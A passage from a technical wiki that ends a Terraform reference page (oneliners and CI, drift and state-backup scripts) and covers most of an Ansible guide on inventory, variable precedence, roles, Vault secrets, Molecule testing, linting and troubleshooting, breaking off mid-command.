"$d" && terraform state list -id "$ID" 2>/dev/null | sed "s|^|$d: |"); done # Move a resource into a module and verify the plan is empty terraform state mv 'aws_instance.web' 'module.compute.aws_instance.web' && terraform plan -detailed-exitcode; echo "rc=$?" # Untaint everything that a failed apply tainted terraform state list | while read -r r; do terraform state show "$r" 2>/dev/null | grep -q '(tainted)' && terraform untaint "$r"; done # Import many objects from a CSV of address,id (imperative alternative to import blocks) while IFS=, read -r addr id; do terraform import "$addr" "$id"; done < imports.csv # Outputs of another root as JSON, for wiring roots together in a script terraform -chdir=envs/network output -json | jq -r '.vpc_id.value' # Evaluate a function against the current state without a plan terraform console <<< 'cidrsubnets("10.0.0.0/16", 4, 4, 8)' # Validate every root module in the repository for d in $(find . -name backend.tf -not -path '*/.terraform/*' -exec dirname {} \;); do (cd "$d" && terraform init -backend=false -input=false >/dev/null && terraform validate) || echo "FAIL $d"; done # Run tests with a JUnit report and show only failures terraform test -junit-xml=report.xml -json | jq -r 'select(.type == "test_run" and .test_run.status == "fail") | "\(.test_file) \(.test_run.run)"' # Who holds the state lock (S3 lockfile backend) aws s3 cp "s3://example-tfstate/prod/network/terraform.tfstate.tflock" - 2>/dev/null | jq . # Age of the state snapshot and its serial terraform state pull | jq '{serial, terraform_version, resources: (.resources | length)}' # Sensitive outputs in plain text (prints secrets; for debugging only) terraform output -json | jq -r 'to_entries[] | select(.value.sensitive) | .key' # Diff two saved plans (for example before and after a provider upgrade) diff <(terraform show -no-color before.tfplan) <(terraform show -no-color after.tfplan) # Rebuild the lock file from scratch for all platforms rm .terraform.lock.hcl && terraform providers lock -platform=linux_amd64 -platform=darwin_arm64 ``` ## Scripts Plan gate for CI: runs a plan, prints a compact summary, fails when anything would be destroyed or replaced unless an allowlist file says otherwise, and leaves `tfplan` for the apply job. ```sh #!/usr/bin/env bash # usage: plan-gate.sh [allowed-destroys.txt] run in the root module directory with credentials in the environment set -euo pipefail allow=${1:-/dev/null} export TF_IN_AUTOMATION=1 terraform init -input=false >/dev/null terraform plan -input=false -lock-timeout=5m -detailed-exitcode -out=tfplan; rc=$? (( rc == 1 )) && { echo 'plan failed' >&2; exit 1; } (( rc == 0 )) && { echo 'no changes'; exit 0; } json=$(terraform show -json tfplan) jq -r '.resource_changes[] | select(.change.actions != ["no-op"]) | "\(.change.actions | join("+"))\t\(.address)"' <<< "$json" | column -t -s $'\t' mapfile -t destroys < <(jq -r '.resource_changes[] | select(.change.actions | index("delete")) | .address' <<< "$json") blocked=() for a in "${destroys[@]}"; do grep -qxF -- "$a" "$allow" || blocked+=("$a"); done if (( ${#blocked[@]} )); then printf 'BLOCKED: plan destroys or replaces resources not in %s:\n' "$allow" >&2 printf ' %s\n' "${blocked[@]}" >&2 exit 2 fi printf '%d changes, %d destroys (all allowed)\n' "$(jq '[.resource_changes[] | select(.change.actions != ["no-op"])] | length' <<< "$json")" "${#destroys[@]}" ``` Drift report across every root module under a directory: runs a refresh-only plan in each, records which resources changed outside Terraform and prints one table. Read-only apart from provider API calls; needs credentials for each root. ```sh #!/usr/bin/env bash # usage: drift-report.sh envs/ (each subdirectory with a backend.tf is a root module) set -euo pipefail base=${1:?directory of root modules} tmp=$(mktemp -d); trap 'rm -rf -- "$tmp"' EXIT rc=0 printf '%-20s %-8s %s\n' ROOT STATUS RESOURCES for d in "$base"/*/; do [[ -f $d/backend.tf ]] || continue name=$(basename "$d") if ! terraform -chdir="$d" init -input=false >"$tmp/$name.init" 2>&1; then printf '%-20s %-8s init failed\n' "$name" ERROR; rc=1; continue; fi terraform -chdir="$d" plan -refresh-only -input=false -lock=false -detailed-exitcode -out="$tmp/$name.plan" >"$tmp/$name.log" 2>&1; prc=$? case $prc in 0) printf '%-20s %-8s -\n' "$name" clean ;; 2) changed=$(terraform -chdir="$d" show -json "$tmp/$name.plan" | jq -r '[.resource_drift[]? | .address] | join(", ")') printf '%-20s %-8s %s\n' "$name" DRIFT "$changed"; rc=1 ;; *) printf '%-20s %-8s see %s\n' "$name" ERROR "$tmp/$name.log"; rc=1 ;; esac done exit "$rc" ``` State backup before surgery: pulls the state of the current root, stores it with serial and timestamp in a backup directory, verifies the copy parses, and prints the restore command. Run it before every `state mv`, `state rm` or `force-unlock`. ```sh #!/usr/bin/env bash # usage: state-backup.sh [backup-dir] set -euo pipefail dir=${1:-${TF_STATE_BACKUPS:-$HOME/.terraform-state-backups}} mkdir -p "$dir" root=$(basename "$PWD") ws=$(terraform workspace show) state=$(terraform state pull) serial=$(jq -r '.serial' <<< "$state") lineage=$(jq -r '.lineage' <<< "$state") [[ $serial =~ ^[0-9]+$ ]] || { echo 'state pull did not return a state file' >&2; exit 1; } out="$dir/$root-$ws-serial$serial-$(date +%Y%m%dT%H%M%S).tfstate" printf '%s' "$state" > "$out" jq -e '.resources | length' "$out" >/dev/null chmod 600 "$out" printf 'saved %s (lineage %s, %s resources)\n' "$out" "$lineage" "$(jq '.resources | length' "$out")" printf 'restore with: terraform state push %q\n' "$out" ``` ## Further reading - [Terraform CLI commands](https://developer.hashicorp.com/terraform/cli/commands): every subcommand and flag, including `state`, `providers lock`, `test` and `import`. - [Refactoring with moved blocks](https://developer.hashicorp.com/terraform/language/moved) and [import blocks](https://developer.hashicorp.com/terraform/language/import): supported address forms and generation of configuration. - [Dependency lock file](https://developer.hashicorp.com/terraform/language/files/dependency-lock): what the hashes mean and how multi-platform locking works. - [Tests](https://developer.hashicorp.com/terraform/language/tests): `run` blocks, mocks, overrides and `expect_failures`. - [Workspaces](https://developer.hashicorp.com/terraform/language/state/workspaces): when they fit and how backends store them. - [Manage sensitive data](https://developer.hashicorp.com/terraform/language/manage-sensitive-data): `sensitive`, `ephemeral` and write-only arguments. --- # Ansible > Write idempotent Ansible playbooks, resolve inventory and variable precedence, dry-run with check mode, and debug plays that fail or change the wrong thing. Canonical: https://www.wiki.jodisand.me/ansible/ Reviewed: 2026-09-24 Related: [SSH](https://www.wiki.jodisand.me/ssh/index.md), [Terraform](https://www.wiki.jodisand.me/terraform/index.md), [Vault](https://www.wiki.jodisand.me/vault/index.md), [Network automation](https://www.wiki.jodisand.me/netauto/index.md), [Python](https://www.wiki.jodisand.me/python/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Dry run with file diffs | `ansible-playbook site.yml --check --diff` | | Limit to one host or group | `ansible-playbook site.yml --limit web-01` | | Syntax check only | `ansible-playbook site.yml --syntax-check` | | Hosts the play would target | `ansible-playbook site.yml --list-hosts` | | Tasks and tags the play would run | `ansible-playbook site.yml --list-tasks` | | Start at a named task | `ansible-playbook site.yml --start-at-task='Install nginx'` | | Confirm each task interactively | `ansible-playbook site.yml --step` | | Ad-hoc command | `ansible web -m ansible.builtin.command -a 'uptime'` | | Connectivity and Python check | `ansible all -m ansible.builtin.ping` | | Selected facts | `ansible web -m ansible.builtin.setup -a 'filter=ansible_distribution*'` | | Connection debugging | `ansible-playbook site.yml -vvvv` | | Extra variables | `ansible-playbook site.yml -e env=prod -e @vars.yml` | | Inventory as Ansible resolves it | `ansible-inventory --list --yaml` | | Group tree | `ansible-inventory --graph` | | Edit an encrypted file | `ansible-vault edit group_vars/prod/vault.yml` | | Install collections | `ansible-galaxy collection install -r requirements.yml` | | Lint | `ansible-lint` | Versions: ansible-core 2.21 (May 2026) and 2.20 are current; 2.19 is supported until November 2026. ansible-core 2.20 and later need Python 3.12 or newer on the control node. The `ansible` package bundles ansible-core with a curated set of collections. See [release and maintenance](https://docs.ansible.com/ansible/latest/reference_appendices/release_and_maintenance.html). ## How a play runs Ansible connects to each host over [SSH](https://www.wiki.jodisand.me/ssh/) (or another connection plugin), copies a Python module to a temporary directory, runs it with the target's Python and reads a JSON result. Nothing needs to be installed on the target except Python and, for `become`, sudo or an equivalent. By default the `linear` strategy runs each task on every host (up to `forks`, default 5) before moving to the next task. A host that fails is removed from the rest of the play. Modules report `ok` (already in the desired state), `changed`, `failed` or `skipped`, and idempotent modules make a second run report only `ok`. ## Dry run first `--check` asks each module to predict whether it would change anything, without changing it. `--diff` prints the file content differences. Use both before any run against shared hosts. ```sh ansible-playbook site.yml --check --diff --limit staging ansible-playbook site.yml --check --diff --tags nginx ``` `command` and `shell` cannot predict their effect, so they are skipped in check mode unless `creates` or `removes` decides the outcome. A task that only reads state can set `check_mode: false` to run anyway. Check mode is a prediction: a task that depends on a file or package an earlier skipped task would have created can fail or report differently than the real run. ## Inventory ```ini # inventory/prod.ini [web] web-[01:04].example.com [db] db-01.example.com ansible_host=192.0.2.11 [prod:children] web db [prod:vars] ansible_user=deploy ``` ```yaml # inventory/prod.yml: the YAML form, clearer for nested group vars all: children: web: hosts: web-01.example.com: web-02.example.com: vars: nginx_workers: 4 ``` ```sh ansible-inventory -i inventory/prod.yml --graph ansible-inventory -i inventory/prod.yml --host web-01.example.com # merged variables for one host ansible all -i inventory/prod.yml -m ansible.builtin.ping --limit web ``` `group_vars/` and `host_vars/` directories next to the inventory file or the playbook are loaded automatically. Dynamic inventory plugins (`amazon.aws.aws_ec2`, `kubernetes.core.k8s`, `azure.azcollection.azure_rm`) replace static files for cloud fleets; the config file name must end with the plugin's suffix, such as `prod.aws_ec2.yml`. `ansible_python_interpreter` defaults to `auto`, which discovers the platform Python. Set it only when discovery picks the wrong one. ### Dynamic inventory An inventory plugin queries an API at run time and builds hosts and groups from the result. The file is a plugin configuration, not a host list, and the plugin must be enabled (`amazon.aws.aws_ec2` and the other common ones are in the default `enable_plugins` list; check with `ansible-config dump | grep INVENTORY_ENABLED`). ```yaml # inventory/prod.aws_ec2.yml: file name must end in .aws_ec2.yml or .aws_ec2.yaml plugin: amazon.aws.aws_ec2 regions: [ap-southeast-2] filters: instance-state-name: running tag:Environment: prod hostnames: [tag:Name, private-ip-address] # first that exists becomes inventory_hostname compose: ansible_host: private_ip_address # connect on the private address ansible_user: "'ec2-user'" # compose values are Jinja; quote literals twice keyed_groups: - key: tags.Role # group "role_web" from tag Role=web prefix: role - key: placement.availability_zone prefix: az groups: db: "'db' in tags.Role" # conditional group from an expression cache: true # reuse results between runs cache_plugin: ansible.builtin.jsonfile cache_connection: ~/.cache/ansible-inventory cache_timeout: 600 ``` `ansible-inventory -i inventory/prod.aws_ec2.yml --graph` proves the plugin works before a play depends on it; `--list --yaml` shows every host variable the plugin exposed. The `ansible.builtin.constructed` plugin adds `compose`, `groups` and `keyed_groups` on top of any other inventory, so a static file can gain fact-derived groups. Several inventory sources combine when `-i` is a directory or repeated: hosts merge and later sources override earlier variables. Dynamic sources that fail return no hosts rather than an error unless `any_unparsed_is_failed = True` is set in `ansible.cfg`, which is the setting that stops an expired cloud token from turning `--limit prod` into an empty run. ## Variable precedence Later in the list wins. The documented order has 22 levels; these are the ones that usually matter, lowest first: | Source | Notes | | --- | --- | | Role defaults (`defaults/main.yml`) | Lowest; intended to be overridden | | Inventory file group vars | `[group:vars]` or `vars:` in the inventory | | `group_vars/all`, then `group_vars/` | Inventory directory first, then playbook directory; a child group beats its parent | | Inventory host vars, then `host_vars/` | Beat every group variable | | Facts and cached `set_fact` | | | Play `vars`, `vars_prompt`, `vars_files` | | | Role vars (`vars/main.yml`) | Beat play vars; hard to override from inventory | | Block vars, then task vars | Scoped to the block or task | | `include_vars` | | | `set_fact` and `register` | | | Role and `include_role` params | | | Extra vars (`-e`) | Always win | Put tunables in `defaults/`, environment values in `group_vars/`, and reserve role `vars/` for constants the role's own tasks depend on. See [variable precedence](https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html#understanding-variable-precedence). ## Playbook structure and rolling updates ```yaml - name: Configure web tier hosts: web become: true serial: "25%" # a quarter of the group at a time max_fail_percentage: 0 # any failure in a batch stops the play pre_tasks: - name: Drain from the load balancer ansible.builtin.uri: url: "https://lb.example.com/drain/{{ inventory_hostname }}" method: POST delegate_to: localhost roles: - role: nginx tags: [nginx] tasks: - name: Deploy configuration ansible.builtin.template: src: nginx.conf.j2 dest: /etc/nginx/nginx.conf owner: root mode: "0644" validate: nginx -t -c %s # refuse to install a config that fails its own check notify: Reload nginx handlers: - name: Reload nginx ansible.builtin.service: name: nginx state: reloaded ``` `serial` with `max_fail_percentage: 0` limits the damage of a bad change: the first failing batch stops the play before it reaches the rest of the fleet. Handlers run only when a task that notified them reported `changed`, once per play section, after `pre_tasks`, after `roles` and `tasks`, and after `post_tasks`. `ansible.builtin.meta: flush_handlers` runs pending handlers immediately when a later task depends on the reload. If a later task fails, pending handlers are lost unless `force_handlers: true` is set, so the next run finds the config already in place and never reloads. Handlers can subscribe to a topic with `listen`, so several tasks notify one name and several handlers react without the tasks knowing which. A handler runs once per play no matter how many tasks notified it, and handlers in one role can be notified from another role by name, which is how a shared `restart nginx` in a base role gets triggered from an application role. ```yaml handlers: - name: Reload nginx ansible.builtin.service: { name: nginx, state: reloaded } listen: nginx config changed - name: Purge nginx cache ansible.builtin.file: { path: /var/cache/nginx, state: absent } listen: nginx config changed tasks: - name: Install site ansible.builtin.template: { src: site.conf.j2, dest: /etc/nginx/conf.d/site.conf } notify: nginx config changed ``` ## Roles A role is a directory whose subdirectories are loaded by convention; only `tasks/main.yml` is required. `ansible-galaxy role init my_role` scaffolds the tree. ```text roles/nginx/ defaults/main.yml # tunables, lowest precedence vars/main.yml # constants the role relies on; hard to override tasks/main.yml # entry point; include_tasks/import_tasks for the rest handlers/main.yml templates/ # referenced by bare name from template: files/ # referenced by bare name from copy: meta/main.yml # dependencies, platforms, galaxy_info meta/argument_specs.yml # validated role parameters (2.11+) molecule/default/ # tests README.md ``` `argument_specs.yml` turns undocumented variables into a validated interface: a role invoked with a missing required variable or a wrong type fails before any task runs, with a message naming the variable. ```yaml # roles/nginx/meta/argument_specs.yml argument_specs: main: short_description: Install and configure nginx options: nginx_workers: type: int default: 4 description: Worker processes nginx_sites: type: list elements: dict required: true options: name: { type: str, required: true } port: { type: int, default: 80 } ``` `import_role` is static: tasks are inlined at parse time, so `--list-tasks`, tags and `--start-at-task` see them, and a `when` on the import applies to every task inside. `include_role` is dynamic: resolved at run time, so it can loop and take a variable role name, but tags on the include do not propagate to the tasks inside unless `apply: { tags: [...] }` is used. `meta/main.yml` `dependencies` run before the role and are deduplicated per play unless `allow_duplicates: true`. Task files are found by name in `tasks/`, templates in `templates/`, files in `files/`, and a role's `vars/` and `defaults/` are visible to every play that uses it once loaded. ```sh ansible-galaxy role init roles/nginx # scaffold ansible-doc -t role -l # roles with argument_specs on the roles path ansible-doc -t role roles/nginx # render the spec as documentation ansible-galaxy collection install -r requirements.yml -p collections/ # vendor collections into the project ``` ## Writing idempotent tasks Use the module that describes the desired state, not the command that changes it. Use fully qualified collection names (`ansible.builtin.copy`), which `ansible-lint` enforces. ```yaml - name: Package present ansible.builtin.package: name: nginx state: present - name: Line in a config file ansible.builtin.lineinfile: path: /etc/security/limits.conf regexp: '^\*\s+soft\s+nofile' line: '* soft nofile 65535' - name: Run a migration exactly once ansible.builtin.command: /opt/my-app/bin/migrate args: creates: /var/lib/my-app/.migrated # skipped when this path exists - name: Script with an explicit change test ansible.builtin.command: /usr/local/bin/sync-data register: sync changed_when: "'updated' in sync.stdout" failed_when: sync.rc not in [0, 2] ``` | Keyword | Effect | | --- | --- | | `creates` / `removes` | Skip the command when a path exists / does not exist | | `changed_when` | Define what counts as a change (`false` for read-only commands) | | `failed_when` | Define what counts as a failure | | `check_mode: false` | Run even under `--check` (read-only tasks only) | | `run_once: true` | Run on the first host in the batch; the result applies to all | | `delegate_to` | Run the task on another host (load balancer, localhost) | | `until` / `retries` / `delay` | Poll until a condition holds | | `throttle` | Cap concurrency for this task, for rate-limited APIs | | `no_log: true` | Hide arguments and results, for tasks that handle secrets | Prefer `ansible.builtin.command` over `shell` unless pipes, redirects or globbing are needed; `shell` passes arguments through `/bin/sh` and invites quoting and injection bugs. ## Templates, facts and conditionals ```jinja worker_processes {{ ansible_facts['processor_vcpus'] }}; upstream app { {% for host in groups['app'] %} server {{ hostvars[host]['ansible_facts']['default_ipv4']['address'] }}:8080; {% endfor %} } ``` Reading `hostvars` for another host's facts requires that facts for that host were gathered in this run or a fact cache. ```sh ansible web-01 -m ansible.builtin.setup | less # every fact ansible web-01 -m ansible.builtin.setup -a 'filter=ansible_mounts' ``` ```yaml - name: Show a value at the point of use ansible.builtin.debug: var: nginx_workers verbosity: 1 # printed only with -v or more ``` Fact gathering costs a round trip and a module run per host. On large fleets use `gather_facts: false` and call `ansible.builtin.setup` with `gather_subset` where facts are needed, or enable a fact cache. ## Filters and tests Filters transform a value (`value | filter`), tests return a boolean (`value is test`). Jinja2 built-ins are available plus Ansible's own; `ansible-doc -t filter -l` and `ansible-doc -t test -l` list what is installed, and `ansible-doc -t filter ansible.builtin.combine` documents one. ```yaml - name: Filters that come up in every playbook ansible.builtin.debug: msg: - "{{ nginx_port | default(80) }}" # default when undefined (add true to also cover empty/false) - "{{ my_dict | combine({'extra': 1}, recursive=true) }}" # merge dicts - "{{ groups['web'] | map('extract', hostvars, ['ansible_facts', 'default_ipv4', 'address']) | list }}" # facts across hosts - "{{ services | selectattr('enabled', 'equalto', true) | map(attribute='name') | list }}" - "{{ items | rejectattr('state', 'defined') | list }}" - "{{ users | dict2items | selectattr('value.shell', 'search', 'bash') | items2dict }}" - "{{ '192.0.2.10/24' | ansible.utils.ipaddr('address') }}" # ansible.utils collection - "{{ lookup('ansible.builtin.env', 'HOME') }}" # lookups run on the control node - "{{ '/etc/nginx/nginx.conf' | basename }} {{ path | dirname }} {{ path | realpath }}" - "{{ text | regex_search('version (\\d+\\.\\d+)', '\\1') | first }}" - "{{ data | to_nice_yaml(indent=2) }} {{ data | to_json }} {{ raw | from_yaml }}" - "{{ secret | password_hash('sha512', 65534 | random(seed=inventory_hostname) | string) }}" # stable salt per host - "{{ 'abc' | b64encode }} {{ list_a | difference(list_b) }} {{ list_a | intersect(list_b) | unique }}" - "{{ ansible_date_time.epoch | int | strftime('%Y-%m-%d') }}" - "{{ my_var | type_debug }}" # str, int, list, dict, AnsibleUnsafeText ``` ```yaml - name: Tests in conditionals ansible.builtin.assert: that: - result is succeeded # also failed, changed, skipped - job is finished # async job - version is version('2.19', '>=') # semantic comparison, not string - path is file # exists on the control node; also directory, exists, link - my_var is defined and my_var is not none - hostname is match('^web-\d+$') # match anchors at start; search does not; regex takes flags - value is truthy # 'yes', 1, [x]; falsy for '', 0, [] - item is subset(['a', 'b', 'c']) # also superset, contains - "'web' in group_names" fail_msg: "Preconditions failed on {{ inventory_hostname }}" quiet: true ``` A filter plugin is a Python file in `filter_plugins/` next to the playbook (or `plugins/filter/` in a collection) exposing a `FilterModule` class whose `filters()` returns a dict of name to callable; tests use `TestModule` and `tests()`. Reach for one when a Jinja expression stops being readable. ## Async and long-running tasks A task longer than the SSH or `command_timeout` budget (default 10 seconds for the connection, none for the module) should run asynchronously. `async` is the seconds the job may run, `poll` how often Ansible checks; `poll: 0` returns immediately and hands you a job id. ```yaml - name: Start a long upgrade and move on ansible.builtin.command: /opt/my-app/bin/upgrade --all async: 3600 # kill the job after an hour poll: 0 # do not wait register: upgrade_job - name: Do other work while it runs ansible.builtin.include_tasks: prepare.yml - name: Wait for the upgrade to finish ansible.builtin.async_status: jid: "{{ upgrade_job.ansible_job_id }}" register: upgrade_result until: upgrade_result is finished retries: 360 # retries x delay must cover the expected runtime delay: 10 - name: Remove the job status file ansible.builtin.async_status: jid: "{{ upgrade_job.ansible_job_id }}" mode: cleanup - name: Run on every host at once, each with a 30 minute budget, waiting in-line ansible.builtin.command: /usr/bin/dnf -y upgrade async: 1800 poll: 15 # Ansible reconnects every 15 s; the SSH session can drop in between ``` With `poll: 0` the status file under `~/.ansible_async/` on the target is not removed automatically; `mode: cleanup` does that. Async does not lift `serial`: a fire-and-forget task on a `serial: 1` play still runs host by host. Avoid `poll: 0` for package managers that hold a lock, because the next task on the same host will fight it. `async` with `poll` greater than zero is also the fix for a `command` that outlives an SSH connection or a `become` timeout, since each poll opens a fresh connection. > [!IMPORTANT] ansible-core 2.19 templating changes > Since 2.19, conditionals (`when`, `changed_when`, `failed_when`, `until`) must evaluate to a boolean. `when: my_list` or `when: "{{ x }}"` that relied on truthiness now fails. Write `when: my_list | length > 0`. Only templates from trusted sources (playbooks, roles, vars files) are rendered; strings from module results or external data are no longer templated. `ALLOW_BROKEN_CONDITIONALS` downgrades the error to a warning during migration. See the [2.19 porting guide](https://docs.ansible.com/ansible/latest/porting_guides/porting_guide_core_2.19.html). ## Secrets with Ansible Vault ```sh ansible-vault create group_vars/prod/vault.yml ansible-vault edit group_vars/prod/vault.yml ansible-vault encrypt group_vars/prod/vault.yml # encrypt an existing plaintext file in place ansible-vault encrypt_string --stdin-name db_password # prompts on stdin; keeps the value out of shell history ansible-playbook site.yml --vault-password-file ~/.config/ansible/vault-pass ``` A common layout keeps encrypted values in `vault.yml` as `vault_db_password` and references them from a plaintext `vars.yml` (`db_password: "{{ vault_db_password }}"`), so `grep` still finds where a variable is defined. Decrypted values live in memory during the run and can leak through `debug`, `-vvv` output and failed-task results. Set `no_log: true` on tasks that handle them. For secrets fetched at runtime rather than stored in the repository, see [Vault](https://www.wiki.jodisand.me/vault/). Vault IDs label secrets so one run can use several passwords, and a password script keeps the password out of files entirely: ```sh ansible-vault encrypt --vault-id prod@prompt group_vars/prod/vault.yml # header records the id: $ANSIBLE_VAULT;1.2;AES256;prod ansible-vault encrypt --vault-id dev@~/.config/ansible/dev-pass group_vars/dev/vault.yml ansible-playbook site.yml --vault-id prod@prompt --vault-id dev@~/.config/ansible/dev-pass ansible-playbook site.yml --vault-id prod@./get-vault-pass.sh # executable: prints the password on stdout ansible-vault rekey --vault-id prod@prompt --new-vault-id prod@prompt group_vars/prod/vault.yml # rotate the password ansible-vault view group_vars/prod/vault.yml # decrypt to stdout without editing ansible-vault decrypt --output - group_vars/prod/vault.yml | yq '.vault_db_password' # one value, nothing written to disk ``` `vault_identity_list` in `ansible.cfg` supplies the ids automatically. Without `vault_id_match = True`, Ansible tries every supplied password against every vaulted value, which works but hides which id a file actually needs. Encrypted strings inside otherwise plain YAML (`!vault |` blocks from `encrypt_string`) keep diffs reviewable because only the changed value is opaque, but they cannot be rekeyed in place; re-encrypt the value and paste it. ## Configuration and performance ```ini # ansible.cfg in the project directory [defaults] inventory = inventory/prod.yml forks = 25 host_key_checking = True callback_result_format = yaml callbacks_enabled = ansible.posix.profile_tasks [ssh_connection] pipelining = True ssh_args = -o ControlMaster=auto -o ControlPersist=60s ``` `ansible.cfg` is read from `ANSIBLE_CONFIG`, then `./ansible.cfg`, then `~/.ansible.cfg`, then `/etc/ansible/ansible.cfg`; the first found is used and the others are ignored. Ansible ignores `./ansible.cfg` in a world-writable directory. `ansible-config dump --only-changed` shows the effective non-default settings. `pipelining = True` sends the module over the existing SSH session instead of copying a file per task, which is the largest single speed-up. It requires `requiretty` to be disabled in sudoers, which is the default on current distributions. > [!NOTE] > The `community.general.yaml` callback (`stdout_callback = yaml`) was removed in community.general 12.0.0. Use `callback_result_format = yaml` with the default callback, available since ansible-core 2.13. ## Testing with Molecule Molecule creates disposable instances, applies the role, applies it again to prove idempotence, runs a verifier and destroys the instances. Since Molecule 6 there is no `molecule init role`; scaffold the role with `ansible-galaxy role init` and add a scenario with `molecule init scenario` (creates `molecule/default/`). Drivers other than the built-in `default` (delegated) come from `molecule-plugins`; for Podman install `molecule-plugins[podman]` and the `containers.podman` collection. ```yaml # roles/nginx/molecule/default/molecule.yml dependency: name: galaxy options: { requirements-file: requirements.yml } driver: name: podman platforms: - name: fedora image: registry.fedoraproject.org/fedora:44 command: /sbin/init # systemd inside the container so service: works privileged: true pre_build_image: true - name: rhel9 image: registry.access.redhat.com/ubi9/ubi-init pre_build_image: true provisioner: name: ansible inventory: group_vars: all: { nginx_workers: 2 } config_options: defaults: { callback_result_format: yaml } verifier: name: ansible # runs verify.yml; testinfra is the alternative scenario: test_sequence: [dependency, syntax, create, converge, idempotence, verify, destroy] ``` ```yaml # molecule/default/converge.yml - name: Converge hosts: all become: true roles: [{ role: nginx }] --- # molecule/default/verify.yml - name: Verify hosts: all gather_facts: false tasks: - name: nginx answers ansible.builtin.uri: { url: http://localhost/, status_code: 200 } ``` ```sh molecule test # whole sequence, destroys at the end even on failure molecule create && molecule converge # iterate: converge re-applies to the running instance molecule verify molecule login -h fedora # shell into an instance molecule idempotence # fails if a second converge reports changed molecule destroy molecule test -s ha # another scenario in molecule/ha/ molecule list ``` The idempotence step is the one that finds real bugs: a `command` without a guard, a template with a timestamp, or `state: latest` on a package each make the second run `changed`. Container instances lack a real init and kernel, so tasks touching sysctl, mounts, SELinux booleans or firewalld need `when: ansible_virtualization_type != 'podman'` or a VM driver. ## ansible-lint `ansible-lint` checks playbooks, roles and collections against rules grouped into profiles of increasing strictness: `min`, `basic`, `moderate`, `safety`, `shared`, `production`. It also runs `yamllint`, and understands roles well enough to resolve variables and FQCNs. ```yaml # .ansible-lint at the project root profile: production exclude_paths: [.cache/, .github/, collections/] skip_list: - package-latest # state: latest is deliberate in the patching role warn_list: - experimental - yaml[line-length] enable_list: - no-log-password # opt-in rules - no-same-owner offline: true # do not install requirements or refresh schemas in CI ``` ```sh ansible-lint # whole project, profile from .ansible-lint ansible-lint --profile safety roles/nginx # one path at a stricter or looser profile ansible-lint --fix # apply autofixes (FQCN, key order, yaml formatting); review the diff ansible-lint -L # list rules and their tags ansible-lint --offline --parseable # machine-readable path:line: [rule] message, for CI annotations ansible-lint --generate-ignore # write .ansible-lint-ignore with every current violation, then burn it down ``` Rules that fail most first runs: `fqcn[action-core]` (use `ansible.builtin.copy`), `name[missing]` and `name[casing]` (every task named, starting with a capital), `yaml[truthy]` (`yes`/`no` must be `true`/`false`), `no-changed-when` (`command` without `changed_when`), `risky-file-permissions` (`copy`/`template` without `mode`), and `var-naming[no-role-prefix]` (role variables must start with the role name). `# noqa: rule-id` on a task line silences one occurrence; prefer fixing the task. ## Troubleshooting | Symptom | Cause | Check or fix | | --- | --- | --- | | `UNREACHABLE` | SSH, not Ansible | `ssh -v deploy@web-01.example.com`; check `ansible_user`, key and host key | | `Missing sudo password` or `Timeout waiting for privilege escalation prompt` | `become` needs a password | `--ask-become-pass`, or fix sudoers | | `MODULE FAILURE` with a Python traceback or `/usr/bin/python: not found` | Missing or unsupported Python on the target | `ansible host -m ansible.builtin.raw -a 'command -v python3'`; set `ansible_python_interpreter` | | `couldn't resolve module/action` | Collection not installed, or a short name that no longer resolves | `ansible-galaxy collection list`; use the FQCN | | `Conditional result ... was derived from value of type 'str'` | 2.19+ requires boolean conditionals | Rewrite the expression to return `true`/`false` | | Task always reports `changed` | `command`/`shell` without `creates` or `changed_when` | Add a guard | | Variable has the wrong value | Precedence | `ansible-inventory --host `, `debug: var=` at the point of use | | Works ad hoc, fails in the play | Different `become`, user, environment or interpreter | Compare with `-vvv` | | Handler never runs | The notifying task reported `ok`, or a later failure dropped pending handlers | `--force-handlers` or `force_handlers: true` | | Slow runs | Fact gathering, pipelining off, low `forks` | `profile_tasks` callback, the settings above | | Dynamic inventory returns no hosts, play "succeeds" | Expired cloud credentials or wrong plugin file suffix | `ansible-inventory -i inventory/prod.aws_ec2.yml --list -vvv`; set `any_unparsed_is_failed = True` | | `Failed to import the required Python library` on the controller | Collection module needs a library (boto3, kubernetes) in the control node's venv | `python3 -c 'import boto3'` in the same interpreter as `ansible --version` | | `ansible_job_id` undefined after an async task | Task skipped, or `async` without `poll: 0` returned the final result instead of a job | Check `is skipped`; with `poll > 0` the register holds the result, not a job | | Async task fails with `could not find job` | `async` timeout shorter than the job, or `~/.ansible_async` cleaned | Raise `async`; check `ansible_remote_tmp` and home directory permissions | | `Role argument validation` failure | Variable missing or wrong type against `meta/argument_specs.yml` | The message names the option; `ansible-doc -t role roles/` shows the spec | | Molecule converge works, `idempotence` fails | A task reports `changed` on the second run | `molecule converge` twice with `--diff`, look for `command`, `state: latest`, templates with timestamps | | Molecule `create` fails with permission errors on Podman | Rootless Podman lacks the image or `privileged` needs a user namespace | `podman pull `, `molecule --debug create`, drop `privileged` unless systemd is needed | | `ansible-lint` passes locally, fails in CI | Different profile, version or collection set | Pin `ansible-lint` in the CI image; `ansible-lint --version`; commit `.ansible-lint` | | Template renders `{{ var }}` literally | Value came from an untrusted source (module result, external file) and 2.19+ no longer templates it | Render explicitly in a task with `ansible.builtin.template` or restructure so the value is a playbook variable | | Vault `Decryption failed` | Wrong password or vault id for this file | `head -1 file` shows the vault id; pass a matching `--vault-id label@source` | ## Oneliners ```sh # Hosts that are not reachable ansible all -m ansible.builtin.ping -o | grep -v SUCCESS # OS version per host ansible all -m ansible.builtin.setup -a 'filter=ansible_distribution*' --tree "$TMPDIR/facts" >/dev/null && jq -r '"\(.ansible_facts.ansible_distribution) \(.ansible_facts.ansible_distribution_version)"' "$TMPDIR"/facts/* # Package version everywhere ansible web -m ansible.builtin.command -a 'rpm -q nginx' -o # Every command or shell task without a guard grep -rnE 'ansible\.builtin\.(shell|command):' roles/ playbooks/ # Variables one host resolves to ansible-inventory --host web-01.example.com | jq 'keys' # Vault files that are not encrypted grep -L '^\$ANSIBLE_VAULT' group_vars/*/vault.yml # Vault id every encrypted file expects for f in group_vars/*/vault.yml; do printf '%s\t%s\n' "$f" "$(head -1 "$f" | cut -d';' -f4)"; done # Hosts a play would touch, one per line, for review before a production run ansible-playbook site.yml --limit prod --list-hosts | sed -n '/hosts (/,$p' | tail -n +2 | tr -d ' ' # Tasks that would run for a tag ansible-playbook site.yml --tags nginx --list-tasks # Uptime and load across the fleet, one line per host ansible all -m ansible.builtin.command -a 'uptime' -o | sort # Reboot required (Fedora/RHEL): non-zero exit means yes ansible all -m ansible.builtin.command -a 'needs-restarting -r' -o | grep -v 